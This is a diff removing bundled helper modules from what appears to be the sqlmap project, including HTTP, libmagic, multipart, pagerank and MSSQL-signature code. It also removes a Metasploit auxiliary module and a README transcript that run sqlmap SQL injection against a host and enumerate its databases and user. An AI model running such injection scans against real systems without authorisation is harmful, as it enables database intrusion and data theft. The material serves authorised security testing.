-            new = self._raw_read(self._rbufsize)
-            if not new: break
-            i = new.find('\n')
-            if i >= 0: i = i + len(self._rbuf)
-            self._rbuf = self._rbuf + new
-        if i < 0: i = len(self._rbuf)
-        else: i = i+1
-        if 0 <= limit < len(self._rbuf): i = limit
-        data, self._rbuf = self._rbuf[:i], self._rbuf[i:]
-        return data
-
-    def readlines(self, sizehint = 0):
-        total = 0
-        list = []
-        while 1:
-            line = self.readline()
-            if not line: break
-            list.append(line)
-            total += len(line)
-            if sizehint and total >= sizehint:
-                break
-        return list
-
-
-class HTTPConnection(httplib.HTTPConnection):
-    # use the modified response class
-    response_class = HTTPResponse
-    _headers = None
-
-    def clearheaders(self):
-        self._headers = {}
-
-    def putheader(self, header, value):
-        """Send a request header line to the server.
-
-        For example: h.putheader('Accept', 'text/html')
-        """
-        if self.__state != _CS_REQ_STARTED:
-            raise CannotSendHeader()
-
-        self._headers[header] = value
-
-    def endheaders(self):
-        """Indicate that the last header line has been sent to the server."""
-
-        if self.__state == _CS_REQ_STARTED:
-            self.__state = _CS_REQ_SENT
-        else:
-            raise CannotSendHeader()
-
-        for header in ['Host', 'Accept-Encoding']:
-            if header in self._headers:
-                str = '%s: %s' % (header, self._headers[header])
-                self._output(str)
-                del self._headers[header]
-
-        for header, value in self._headers.items():
-            str = '%s: %s' % (header, value)
-            self._output(str)
-
-        self._send_output()
-
-    def send(self, str):
-        httplib.HTTPConnection.send(self, encodeUnicode(str, kb.pageEncoding))
-
-#########################################################################
-#####   TEST FUNCTIONS
-#########################################################################
-
-def error_handler(url):
-    global HANDLE_ERRORS
-    orig = HANDLE_ERRORS
-    keepalive_handler = HTTPHandler()
-    opener = urllib2.build_opener(keepalive_handler)
-    urllib2.install_opener(opener)
-    pos = {0: 'off', 1: 'on'}
-    for i in (0, 1):
-        print "  fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)
-        HANDLE_ERRORS = i
-        try:
-            fo = urllib2.urlopen(url)
-            foo = fo.read()
-            fo.close()
-            try: status, reason = fo.status, fo.reason
-            except AttributeError: status, reason = None, None
-        except IOError, e:
-            print "  EXCEPTION: %s" % e
-            raise
-        else:
-            print "  status = %s, reason = %s" % (status, reason)
-    HANDLE_ERRORS = orig
-    hosts = keepalive_handler.open_connections()
-    print "open connections:", ' '.join(hosts)
-    keepalive_handler.close_all()
-
-def continuity(url):
-    import md5
-    format = '%25s: %s'
-
-    # first fetch the file with the normal http handler
-    opener = urllib2.build_opener()
-    urllib2.install_opener(opener)
-    fo = urllib2.urlopen(url)
-    foo = fo.read()
-    fo.close()
-    m = md5.new(foo)
-    print format % ('normal urllib', m.hexdigest())
-
-    # now install the keepalive handler and try again
-    opener = urllib2.build_opener(HTTPHandler())
-    urllib2.install_opener(opener)
-
-    fo = urllib2.urlopen(url)
-    foo = fo.read()
-    fo.close()
-    m = md5.new(foo)
-    print format % ('keepalive read', m.hexdigest())
-
-    fo = urllib2.urlopen(url)
-    foo = ''
-    while 1:
-        f = fo.readline()
-        if f: foo = foo + f
-        else: break
-    fo.close()
-    m = md5.new(foo)
-    print format % ('keepalive readline', m.hexdigest())
-
-def comp(N, url):
-    print '  making %i connections to:\n  %s' % (N, url)
-
-    sys.stdout.write('  first using the normal urllib handlers')
-    # first use normal opener
-    opener = urllib2.build_opener()
-    urllib2.install_opener(opener)
-    t1 = fetch(N, url)
-    print '  TIME: %.3f s' % t1
-
-    sys.stdout.write('  now using the keepalive handler       ')
-    # now install the keepalive handler and try again
-    opener = urllib2.build_opener(HTTPHandler())
-    urllib2.install_opener(opener)
-    t2 = fetch(N, url)
-    print '  TIME: %.3f s' % t2
-    print '  improvement factor: %.2f' % (t1/t2, )
-
-def fetch(N, url, delay=0):
-    lens = []
-    starttime = time.time()
-    for i in range(N):
-        if delay and i > 0: time.sleep(delay)
-        fo = urllib2.urlopen(url)
-        foo = fo.read()
-        fo.close()
-        lens.append(len(foo))
-    diff = time.time() - starttime
-
-    j = 0
-    for i in lens[1:]:
-        j = j + 1
-        if not i == lens[0]:
-            print "WARNING: inconsistent length on read %i: %i" % (j, i)
-
-    return diff
-
-def test(url, N=10):
-    print "checking error hander (do this on a non-200)"
-    try: error_handler(url)
-    except IOError, e:
-        print "exiting - exception will prevent further tests"
-        sys.exit()
-    print
-    print "performing continuity test (making sure stuff isn't corrupted)"
-    continuity(url)
-    print
-    print "performing speed comparison"
-    comp(N, url)
-
-if __name__ == '__main__':
-    import time
-    import sys
-    try:
-        N = int(sys.argv[1])
-        url = sys.argv[2]
-    except:
-        print "%s <integer> <url>" % sys.argv[0]
-    else:
-        test(url, N)

extra/magic/__init__.py

@@ -1,3 +0,0 @@
-#!/usr/bin/env python
-
-pass

extra/magic/magic.py

@@ -1,194 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-Adam Hupp <[email protected]>
-
-Reference: http://hupp.org/adam/hg/python-magic
-
-License: PSF (http://www.python.org/psf/license/)
-"""
-
-import os.path
-import ctypes
-import ctypes.util
-
-from ctypes import c_char_p, c_int, c_size_t, c_void_p
-
-class MagicException(Exception): pass
-
-class Magic:
-    """
-    Magic is a wrapper around the libmagic C library.  
-
-    """
-
-    def __init__(self, mime=False, magic_file=None):
-        """
-        Create a new libmagic wrapper.
-
-        mime - if True, mimetypes are returned instead of textual descriptions
-        magic_file - use a mime database other than the system default
-
-        """
-        flags = MAGIC_NONE
-        if mime:
-            flags |= MAGIC_MIME
-
-        self.cookie = magic_open(flags)
-
-        magic_load(self.cookie, magic_file)
-
-    def from_buffer(self, buf):
-        """
-        Identify the contents of `buf`
-        """
-        return magic_buffer(self.cookie, buf)
-
-    def from_file(self, filename):
-        """
-        Identify the contents of file `filename`
-        raises IOError if the file does not exist
-        """
-
-        if not os.path.exists(filename):
-            raise IOError("File does not exist: " + filename)
-
-        return magic_file(self.cookie, filename)
-
-    def __del__(self):
-        try:
-            magic_close(self.cookie)
-        except Exception, _:
-            pass
-
-_magic_mime = None
-_magic = None
-
-def _get_magic_mime():
-    global _magic_mime
-    if not _magic_mime:
-        _magic_mime = Magic(mime=True)
-    return _magic_mime
-
-def _get_magic():
-    global _magic
-    if not _magic:
-        _magic = Magic()
-    return _magic
-
-def _get_magic_type(mime):
-    if mime:
-        return _get_magic_mime()
-    else:
-        return _get_magic()
-
-def from_file(filename, mime=False):
-    m = _get_magic_type(mime)
-    return m.from_file(filename)
-
-def from_buffer(buffer, mime=False):
-    m = _get_magic_type(mime)
-    return m.from_buffer(buffer)
-
-try:
-    libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
-
-    magic_t = ctypes.c_void_p
-
-    def errorcheck(result, func, args):
-        err = magic_error(args[0])
-        if err is not None:
-            raise MagicException(err)
-        else:
-            return result
-
-    magic_open = libmagic.magic_open
-    magic_open.restype = magic_t
-    magic_open.argtypes = [c_int]
-
-    magic_close = libmagic.magic_close
-    magic_close.restype = None
-    magic_close.argtypes = [magic_t]
-    magic_close.errcheck = errorcheck
-
-    magic_error = libmagic.magic_error
-    magic_error.restype = c_char_p
-    magic_error.argtypes = [magic_t]
-
-    magic_errno = libmagic.magic_errno
-    magic_errno.restype = c_int
-    magic_errno.argtypes = [magic_t]
-
-    magic_file = libmagic.magic_file
-    magic_file.restype = c_char_p
-    magic_file.argtypes = [magic_t, c_char_p]
-    magic_file.errcheck = errorcheck
-
-    _magic_buffer = libmagic.magic_buffer
-    _magic_buffer.restype = c_char_p
-    _magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
-    _magic_buffer.errcheck = errorcheck
-
-    def magic_buffer(cookie, buf):
-        return _magic_buffer(cookie, buf, len(buf))
-
-    magic_load = libmagic.magic_load
-    magic_load.restype = c_int
-    magic_load.argtypes = [magic_t, c_char_p]
-    magic_load.errcheck = errorcheck
-
-    magic_setflags = libmagic.magic_setflags
-    magic_setflags.restype = c_int
-    magic_setflags.argtypes = [magic_t, c_int]
-
-    magic_check = libmagic.magic_check
-    magic_check.restype = c_int
-    magic_check.argtypes = [magic_t, c_char_p]
-
-    magic_compile = libmagic.magic_compile
-    magic_compile.restype = c_int
-    magic_compile.argtypes = [magic_t, c_char_p]
-except:
-    pass
-
-MAGIC_NONE = 0x000000 # No flags
-
-MAGIC_DEBUG = 0x000001 # Turn on debugging
-
-MAGIC_SYMLINK = 0x000002 # Follow symlinks
-
-MAGIC_COMPRESS = 0x000004 # Check inside compressed files
-
-MAGIC_DEVICES = 0x000008 # Look at the contents of devices
-
-MAGIC_MIME = 0x000010 # Return a mime string
-
-MAGIC_CONTINUE = 0x000020 # Return all matches
-
-MAGIC_CHECK = 0x000040 # Print warnings to stderr
-
-MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit
-
-MAGIC_RAW = 0x000100 # Don't translate unprintable chars
-
-MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors
-
-MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files
-
-MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files
-
-MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries
-
-MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type
-
-MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details
-
-MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files
-
-MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff
-
-MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran
-
-MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens

extra/msfauxmod/README.txt

@@ -1,78 +0,0 @@
-To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
-the example below.
-
-Note that if you are willing to run Metasploit's sqlmap auxiliary module on
-through WMAP framework you first need to install sqlmap on your system or
-add its file system path to the PATH environment variable.
-
-
-$ ./msfconsole
-
-                _                  _       _ _
-               | |                | |     (_) |
- _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
-| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
-| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
-|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
-                            | |
-                            |_|
-
-
-       =[ msf v3.2-testing
-+ -- --=[ 308 exploits - 173 payloads
-+ -- --=[ 20 encoders - 6 nops
-       =[ 75 aux
-
-msf > use auxiliary/scanner/http/wmap_sqlmap 
-msf auxiliary(wmap_sqlmap) > set RHOSTS 192.168.1.121
-RHOSTS => 192.168.1.121
-msf auxiliary(wmap_sqlmap) > set PATH /sqlmap/mysql/get_int.php
-PATH => /sqlmap/mysql/get_int.php
-msf auxiliary(wmap_sqlmap) > set QUERY id=1
-QUERY => id=1
-msf auxiliary(wmap_sqlmap) > set OPTS '--dbs --current-user'
-OPTS => --dbs --current-user
-msf auxiliary(wmap_sqlmap) > set SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py
-msf auxiliary(wmap_sqlmap) > show options 
-
-Module options:
-
-   Name         Current Setting                                                 Required  Description                                          
-   ----         ---------------                                                 --------  -----------                                          
-   BATCH        true                                                            yes       Never ask for user input, use the default behaviour  
-   BODY                                                                         no        The data string to be sent through POST              
-   METHOD       GET                                                             yes       HTTP Method                                          
-   OPTS         --dbs --current-user                                            no        The sqlmap options to use                            
-   PATH         /sqlmap/mysql/get_int.php                                       yes       The path/file to test for SQL injection              
-   Proxies                                                                      no        Use a proxy chain                                    
-   QUERY        id=1                                                            no        HTTP GET query                                       
-   RHOSTS       192.168.1.121                                                   yes       The target address range or CIDR identifier          
-   RPORT        80                                                              yes       The target port                                      
-   SQLMAP_PATH  /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py             yes       The sqlmap >= 0.6.1 full path                        
-   SSL          false                                                           no        Use SSL                                              
-   THREADS      1                                                               yes       The number of concurrent threads                     
-   VHOST                                                                        no        HTTP server virtual host                             
-
-msf auxiliary(wmap_sqlmap) > run
-[*] exec: /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py -u 'http://192.168.1.121:80//sqlmap/mysql/get_int.php?id=1' --method GET --dbs --current-user --batch
-SQLMAP: 
-SQLMAP: sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
-SQLMAP: and Daniele Bellucci <[email protected]>
-SQLMAP: 
-SQLMAP: [*] starting at: 16:23:19
-SQLMAP: 
-SQLMAP: [16:23:20] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-SQLMAP: back-end DBMS:  MySQL >= 5.0.0
-SQLMAP: 
-SQLMAP: current user:    'testuser@localhost'
-SQLMAP: 
-SQLMAP: available databases [3]:
-SQLMAP: [*] information_schema
-SQLMAP: [*] mysql
-SQLMAP: [*] test
-SQLMAP: 
-SQLMAP: 
-SQLMAP: [*] shutting down at: 16:23:21
-SQLMAP: 
-[*] Auxiliary module execution completed
-msf auxiliary(wmap_sqlmap) > 

extra/msfauxmod/sqlmap.rb

@@ -1,105 +0,0 @@
-##
-# $Id$
-##
-
-##
-# This file is part of the Metasploit Framework and may be subject to
-# redistribution and commercial restrictions. Please see the Metasploit
-# Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
-##
-
-require 'msf/core'
-
-class Metasploit3 < Msf::Auxiliary
-
-	include Msf::Exploit::Remote::HttpClient
-	include Msf::Auxiliary::WMAPScanUniqueQuery
-	include Msf::Auxiliary::Scanner
-
-	def initialize(info = {})
-		super(update_info(info,
-			'Name'			=> 'SQLMAP SQL Injection External Module',
-			'Description'	=> %q{
-					This module launch a sqlmap session.
-				sqlmap is an automatic SQL injection tool developed in Python.
-				Its goal is to detect and take advantage of SQL injection
-				vulnerabilities on web applications. Once it detects one
-				or more SQL injections on the target host, the user can
-				choose among a variety of options to perform an extensive
-				back-end database management system fingerprint, retrieve
-				DBMS session user and database, enumerate users, password
-				hashes, privileges, databases, dump entire or user
-				specific DBMS tables/columns, run his own SQL SELECT
-				statement, read specific files on the file system and much
-				more.
-			},
-			'Author'	    => [ 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' ],
-			'License'		=> BSD_LICENSE,
-			'Version'		=> '$Revision: 9212 $',
-			'References'	=>
-				[
-					['URL', 'http://sqlmap.sourceforge.net'],
-				]
-			))
-
-		register_options(
-			[
-				OptString.new('METHOD', [ true,  "HTTP Method", 'GET' ]),
-				OptString.new('PATH', [ true,  "The path/file to test for SQL injection", 'index.php' ]),
-				OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]),
-				OptString.new('DATA', [ false, "The data string to be sent through POST", '' ]),
-				OptString.new('OPTS', [ false,  "The sqlmap options to use", ' ' ]),
-				OptPath.new('SQLMAP_PATH', [ true,  "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]),
-				OptBool.new('BATCH', [ true,  "Never ask for user input, use the default behaviour", true ])
-			], self.class)
-	end
-
-	# Modify to true if you have sqlmap installed.
-	def wmap_enabled
-		false
-	end
-
-	# Test a single host
-	def run_host(ip)
-
-		sqlmap = datastore['SQLMAP_PATH']
-
-		if not sqlmap
-			print_error("The sqlmap script could not be found")
-			return
-		end
-
-		data = datastore['DATA']
-		method = datastore['METHOD'].upcase
-
-		sqlmap_url  = (datastore['SSL'] ? "https" : "http")
-		sqlmap_url += "://" + wmap_target_host + ":" + wmap_target_port
-		sqlmap_url += "/" + datastore['PATH']
-
-		if method == "GET"
-			sqlmap_url += '?' + datastore['QUERY']
-		end
-
-		cmd  = sqlmap + ' -u \'' + sqlmap_url + '\''
-		cmd += ' --method ' + method
-		cmd += ' ' + datastore['OPTS']
-
-		if not data.empty?
-			cmd += ' --data \'' + data + '\''
-		end
-
-		if datastore['BATCH'] == true
-			cmd += ' --batch'
-		end
-
-		print_status("exec: #{cmd}")
-		IO.popen( cmd ) do |io|
-			io.each_line do |line|
-				print_line("SQLMAP: " + line.strip)
-			end
-		end
-	end
-
-end
-

extra/mssqlsig/update.py

@@ -1,140 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-import codecs
-import difflib
-import os
-import re
-import sys
-import urllib2
-import urlparse
-
-from xml.dom.minidom import Document
-
-# Path to the XML file with signatures
-MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
-
-# Url to update Microsoft SQL Server XML versions file from
-MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
-
-def updateMSSQLXML():
-    if not os.path.exists(MSSQL_XML):
-        errMsg = "[ERROR] file '%s' does not exist. please run the script from it's parent directory." % MSSQL_XML
-        print errMsg
-        return
-
-    infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
-    print infoMsg
-
-    try:
-        req = urllib2.Request(MSSQL_VERSIONS_URL)
-        f = urllib2.urlopen(req)
-        mssqlVersionsHtmlString = f.read()
-        f.close()
-    except urllib2.URLError:
-        __mssqlPath     = urlparse.urlsplit(MSSQL_VERSIONS_URL)
-        __mssqlHostname = __mssqlPath[1]
-
-        warnMsg  = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
-        warnMsg += " check your Internet connection and retry"
-        print warnMsg
-
-        return
-
-    releases      = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
-    releasesCount = len(releases)
-
-    # Create the minidom document
-    doc = Document()
-
-    # Create the <root> base element
-    root = doc.createElement("root")
-    doc.appendChild(root)
-
-    for index in range(0, releasesCount):
-        release = releases[index]
-
-        # Skip Microsoft SQL Server 6.5 because the HTML
-        # table is in another format
-        if release == "6.5":
-            continue
-
-        # Create the <signatures> base element
-        signatures = doc.createElement("signatures")
-        signatures.setAttribute("release", release)
-        root.appendChild(signatures)
-
-        startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
-
-        if index == releasesCount - 1:
-            stopIdx  = len(mssqlVersionsHtmlString)
-        else:
-            stopIdx  = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
-
-        mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
-        servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
-
-        for servicePack, version in servicepackVersion:
-            if servicePack.startswith(" "):
-                servicePack = servicePack[1:]
-            if "/" in servicePack:
-                servicePack = servicePack[:servicePack.index("/")]
-            if "(" in servicePack:
-                servicePack = servicePack[:servicePack.index("(")]
-            if "-" in servicePack:
-                servicePack = servicePack[:servicePack.index("-")]
-            if "*" in servicePack:
-                servicePack = servicePack[:servicePack.index("*")]
-            if servicePack.startswith("+"):
-                servicePack = "0%s" % servicePack
-
-            servicePack = servicePack.replace("\t", " ")
-            servicePack = servicePack.replace("No SP", "0")
-            servicePack = servicePack.replace("RTM", "0")
-            servicePack = servicePack.replace("SP", "")
-            servicePack = servicePack.replace("Service Pack", "")
-            servicePack = servicePack.replace("<a href=\"http:", "")
-            servicePack = servicePack.replace("  ", " ")
-            servicePack = servicePack.replace("+ ", "+")
-            servicePack = servicePack.replace(" +", "+")
-
-            if servicePack.endswith(" "):
-                servicePack = servicePack[:-1]
-
-            if servicePack and version:
-                # Create the main <card> element
-                signature = doc.createElement("signature")
-                signatures.appendChild(signature)
-
-                # Create a <version> element
-                versionElement = doc.createElement("version")
-                signature.appendChild(versionElement)
-
-                # Give the <version> elemenet some text
-                versionText = doc.createTextNode(version)
-                versionElement.appendChild(versionText)
-
-                # Create a <servicepack> element
-                servicepackElement = doc.createElement("servicepack")
-                signature.appendChild(servicepackElement)
-
-                # Give the <servicepack> elemenet some text
-                servicepackText = doc.createTextNode(servicePack)
-                servicepackElement.appendChild(servicepackText)
-
-    # Save our newly created XML to the signatures file
-    mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
-    doc.writexml(writer=mssqlXml, addindent="    ", newl="\n")
-    mssqlXml.close()
-
-    infoMsg  = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
-    print infoMsg
-
-if __name__ == "__main__":
-    updateMSSQLXML()

extra/multipart/__init__.py

@@ -1,3 +0,0 @@
-#!/usr/bin/env python
-
-pass

extra/multipart/multipartpost.py

@@ -1,108 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-02/2006 Will Holcomb <[email protected]>
-
-Reference: http://odin.himinbi.org/MultipartPostHandler.py
-
-This library is free software; you can redistribute it and/or
-modify it under the terms of the GNU Lesser General Public
-License as published by the Free Software Foundation; either
-version 2.1 of the License, or (at your option) any later version.
-
-This library is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-Lesser General Public License for more details.
-
-You should have received a copy of the GNU Lesser General Public
-License along with this library; if not, write to the Free Software
-Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-"""
-
-import mimetools
-import mimetypes
-import os
-import stat
-import sys
-import urllib
-import urllib2
-
-from lib.core.exception import sqlmapDataException
-
-
-class Callable:
-    def __init__(self, anycallable):
-        self.__call__ = anycallable
-
-# Controls how sequences are uncoded. If true, elements may be given
-# multiple values by assigning a sequence.
-doseq = 1
-
-
-class MultipartPostHandler(urllib2.BaseHandler):
-    handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first
-
-    def http_request(self, request):
-        data = request.get_data()
-
-        if data is not None and type(data) != str:
-            v_files = []
-            v_vars = []
-
-            try:
-                for(key, value) in data.items():
-                    if type(value) == file or hasattr(value, 'file'):
-                        v_files.append((key, value))
-                    else:
-                        v_vars.append((key, value))
-            except TypeError:
-                systype, value, traceback = sys.exc_info()
-                raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
-
-            if len(v_files) == 0:
-                data = urllib.urlencode(v_vars, doseq)
-            else:
-                boundary, data = self.multipart_encode(v_vars, v_files)
-                contenttype = 'multipart/form-data; boundary=%s' % boundary
-                #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0):
-                #    print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data')
-                request.add_unredirected_header('Content-Type', contenttype)
-
-            request.add_data(data)
-        return request
-
-    def multipart_encode(vars, files, boundary = None, buf = None):
-        if boundary is None:
-            boundary = mimetools.choose_boundary()
-
-        if buf is None:
-            buf = ''
-
-        for (key, value) in vars:
-            buf += '--%s\r\n' % boundary
-            buf += 'Content-Disposition: form-data; name="%s"' % key
-            buf += '\r\n\r\n' + value + '\r\n'
-
-        for (key, fd) in files:
-            file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
-            filename = fd.name.split('/')[-1]
-            contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
-            buf += '--%s\r\n' % boundary
-            buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
-            buf += 'Content-Type: %s\r\n' % contenttype
-            # buf += 'Content-Length: %s\r\n' % file_size
-            fd.seek(0)
-
-            buf = str(buf)
-            buf += '\r\n%s\r\n' % fd.read()
-
-        buf += '--%s--\r\n\r\n' % boundary
-
-        return boundary, buf
-
-    multipart_encode = Callable(multipart_encode)
-
-    https_request = http_request

extra/odict/__init__.py

@@ -1,26 +0,0 @@
-#!/usr/bin/env python
-#
-# The BSD License
-#
-# Copyright 2003-2008 Nicola Larosa, Michael Foord
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in
-# all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#
-
-pass

extra/pagerank/__init__.py

@@ -1,26 +0,0 @@
-#!/usr/bin/env python
-#
-# The MIT License
-#
-# Copyright 2010 Corey Goldberg
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in
-# all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#
-
-pass

extra/pagerank/pagerank.py

@@ -1,75 +0,0 @@
-#!/usr/bin/env python
-#
-#  Script for getting Google Page Rank of page
-#  Google Toolbar 3.0.x/4.0.x Pagerank Checksum Algorithm
-#
-#  original from http://pagerank.gamesaga.net/
-#  this version was adapted from http://www.djangosnippets.org/snippets/221/
-#  by Corey Goldberg - 2010
-#
-#  Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
-
-import urllib
-
-def get_pagerank(url):
-    hsh = check_hash(hash_url(url))
-    gurl = 'http://www.google.com/search?client=navclient-auto&features=Rank:&q=info:%s&ch=%s' % (urllib.quote(url), hsh)
-    try:
-        f = urllib.urlopen(gurl)
-        rank = f.read().strip()[9:]
-    except Exception:
-        rank = 'N/A'
-    if rank == '':
-        rank = '0'
-    return rank
-
-def int_str(string, integer, factor):
-    for i in range(len(string)) :
-        integer *= factor
-        integer &= 0xFFFFFFFF
-        integer += ord(string[i])
-    return integer
-
-def hash_url(string):
-    c1 = int_str(string, 0x1505, 0x21)
-    c2 = int_str(string, 0, 0x1003F)
-
-    c1 >>= 2
-    c1 = ((c1 >> 4) & 0x3FFFFC0) | (c1 & 0x3F)
-    c1 = ((c1 >> 4) & 0x3FFC00) | (c1 & 0x3FF)
-    c1 = ((c1 >> 4) & 0x3C000) | (c1 & 0x3FFF)
-
-    t1 = (c1 & 0x3C0) << 4
-    t1 |= c1 & 0x3C
-    t1 = (t1 << 2) | (c2 & 0xF0F)
-
-    t2 = (c1 & 0xFFFFC000) << 4
-    t2 |= c1 & 0x3C00
-    t2 = (t2 << 0xA) | (c2 & 0xF0F0000)
-
-    return (t1 | t2)
-
-def check_hash(hash_int):
-    hash_str = '%u' % (hash_int)
-    flag = 0
-    check_byte = 0
-
-    i = len(hash_str) - 1
-    while i >= 0:
-        byte = int(hash_str[i])
-        if 1 == (flag % 2):
-            byte *= 2;
-            byte = byte / 10 + byte % 10
-        check_byte += byte
-        flag += 1
-        i -= 1
-
-    check_byte %= 10
-    if 0 != check_byte:
-        check_byte = 10 - check_byte
-        if 1 == flag % 2:
-            if 1 == check_byte % 2:
-                check_byte += 9
-            check_byte >>= 1
-
-    return '7' + str(check_byte) + hash_str

extra/prettyprint/__init__.py

@@ -1,26 +0,0 @@
-#!/usr/bin/env python
-
-#Copyright (c) 2010, Chris Hall <[email protected]>
-#All rights reserved.
-
-#Redistribution and use in source and binary forms, with or without modification,
-#are permitted provided that the following conditions are met:
-
-#* Redistributions of source code must retain the above copyright notice,
-#this list of conditions and the following disclaimer.
-#* Redistributions in binary form must reproduce the above copyright notice,
-#this list of conditions and the following disclaimer in the documentation
-#and/or other materials provided with the distribution.
-
-#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
-#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
-#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-pass

extra/prettyprint/prettyprint.py

@@ -1,100 +0,0 @@
-#!/usr/bin/env python
